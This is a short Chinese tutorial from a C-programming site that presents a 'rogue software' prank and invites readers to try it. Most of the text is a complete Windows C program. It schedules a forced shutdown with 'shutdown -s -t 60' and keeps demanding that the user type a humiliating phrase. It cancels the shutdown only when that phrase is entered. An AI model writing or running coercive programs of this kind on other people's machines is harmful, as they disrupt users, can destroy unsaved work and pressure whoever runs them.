今天教大家做个流氓软件……
打开时是这个样子滴:

妈蛋,截图截的差点关机,为了截图就做一回变态吧TAT……

童靴们可以用下面的代码去试验一下,作一作死:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main()
{
char write[100];
system("title c语言研究中心 www.dotcpp.com");
system( "shutdown -s -t 60");
th:
printf( "我是来自c语言网的流氓软件,快说你爱凤姐!不然就关机!\n" );
scanf( "%s", write);
if (strcmp(write, "我爱凤姐" ) == 0)
{
printf( "哈哈,你这个变态~\n" );
system( "shutdown -a");
system("pause");
}
else
{
printf( "不想说?等着关机吧哼哼!\n" );
goto th;
}
return 0;
}
C语言研究中心www.dotcpp.com
